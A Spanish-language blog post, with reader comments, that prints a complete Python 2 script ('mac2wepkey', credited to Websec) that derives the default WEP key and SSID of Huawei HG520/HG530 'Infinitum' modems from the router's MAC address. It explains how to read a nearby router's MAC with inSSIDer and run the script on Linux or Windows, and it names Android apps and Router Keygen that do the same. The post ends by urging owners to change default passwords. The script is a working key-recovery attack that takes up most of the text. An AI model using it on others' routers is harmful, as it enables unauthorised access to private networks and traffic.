Script en Python para averiguar la contraseña por default de los Infinitum Huawei.

Estos temas son siempre polémicos y la conclusión es la misma, la seguridad de los modems Infinitums no es la más óptima que digamos.

De hecho siempre me he preguntado porque siempre eligen contraseñas del tipo WEP que son tan endebles y por lo mismo nada recomendables.

Anteriormente para poder “auditar” la seguridad de una red wifi se hacia circo, maroma y teatro. Iniciar con un cd de linux, comenzar una captura de paquetes, aplicar un comando y después de unos 10 minutos la contraseña era revelada.

Pero este método es absurdamente más sencillo. Hace tiempo que los amigos de Websec se dieron cuenta de que los modems de la marca Huawei modelo HG520b, HG520c y HG530 generaban su SSID y la contraseña WEP basandose en la Mac Address del dispositivo. Desarrollaron un script en python que hace la misma función, escribieron un excelente articulo mac2wepkey – Huawei generador de WEP default explicando todos los detalles técnicos.

¿Cómo obtener la Mac Address?

En linux podemos usar programas como inSSIDer para averiguar la MAC Address o incluso manejadores de red como WiCD también muestran esta información.

inssider

Ejecutar el script en Linux

Ya con la mac address en mano, lo que sigue es ejecutar el script, en linux es muy sencillo porque la gran mayoría de las distribuciones tienen instalado python así que lo que sigue es abrir una terminal y teclear algo más o menos así:

# mac2wepkey Huawei HG520 by hochoa@websec.mx - 12/2010

i=0;mac=[]
a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']

def hex2dec(s):
	return int(s, 16)

print "\n  #####################################################"
print "  #         Huawei Echo Life HG520 mac2wepkey         #"
print "  #        hochoa@websec.mx  - http://websec.mx       #"
print "  #####################################################"

mac2=raw_input("\n  Ingresa la MAC: ").replace(':','')

while i<12:
	mac.insert(i,hex2dec(mac2[i]));i=i+1
s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5
s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10
s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11
s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10
ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13
yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4
yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7
yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14
ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7

print "\n          WEP = "+str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye])+"      SSID = "+str(ssid[s1])+str(ssid[s2])+str(ssid[s3])+str(ssid[s4])+"\n\n"
python ./mac2wepkey.py
Ejecutando mac2wepkey

Le damos la mac address que nos solicita y el script regresa la contraseña wep por default y el nombre de la red inalámbrica, ya saben el famoso INFINITUMxxxx.

¿Y en Windows?

También se puede ejecutar, solo es necesario descargar Python pero la versión 2.x por que hay muchas diferencias si usan la versión 3.x y podría no funcionar el script.

inSSIDer también tiene disponible una versión para el sistema operativo de las ventanas.

mac2wepkey en windows
mac2wepkey ejecutándose en windows.

En Android.

El mismo algoritmo utilizado por este script de Python esta disponible como una aplicación para Android.

Mac2WepKey HHG5XX

Conclusiones

Claro que este programa solo funciona si no se ha cambiado la contraseña por default o si es un modem Huawei, aunque una vez si me dio una contraseña correcta para un vetusto 2wire.

La recomendación es la misma de toda la vida, cambiar la contraseña por default ¡Por favor!, no les toma más que unos minutos de leer el manual o buscar en google como hacerlo.

Referencias:

12 comentarios en «Script en Python para averiguar la contraseña por default de los Infinitum Huawei.»

  1. Con Android es más fácil. En mi Galaxy Nexus instalé una app llamada HHG5X que en segundos te arroja la contraseña los modems de la marca Huawei. Ahora bien para los 2Wire el método es igual, sólo que hay que usar, siempre en Android, la app Router Keygen, que igualmente obtiene la clave en caliente.

    Responder
    • Claro que tengo HHG5X en mi fonito, pero me preguntaron como hacerlo sin android, hay varias formas de llegar al mismo destino 🙂

      Responder
  2. Vaya, wifiway si que ha mejorado desde la última vez que lo utilicé, pero espero que vean que este método es absurdamente simple. Y si no funciona wifiway será el siguiente paso.

    Compilar un kernel no es para todos, igual muchos no se sienten a gusto con la terminal, lo bueno es que en linux a nadie se le obliga a usar o hacer tal o cual cosa. Hay varias formas de llegar al mismo destino.

    Responder
  3. «aplicar un comando y después de unos 10 minutos la contraseña era revelada»+En serio usar aircrack es complicado ? circo maroma y teatro ? hmmm.. no quiero saber que opinas de compilar un Kernel…

    Responder

¡Me encantaría saber que opinas!

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.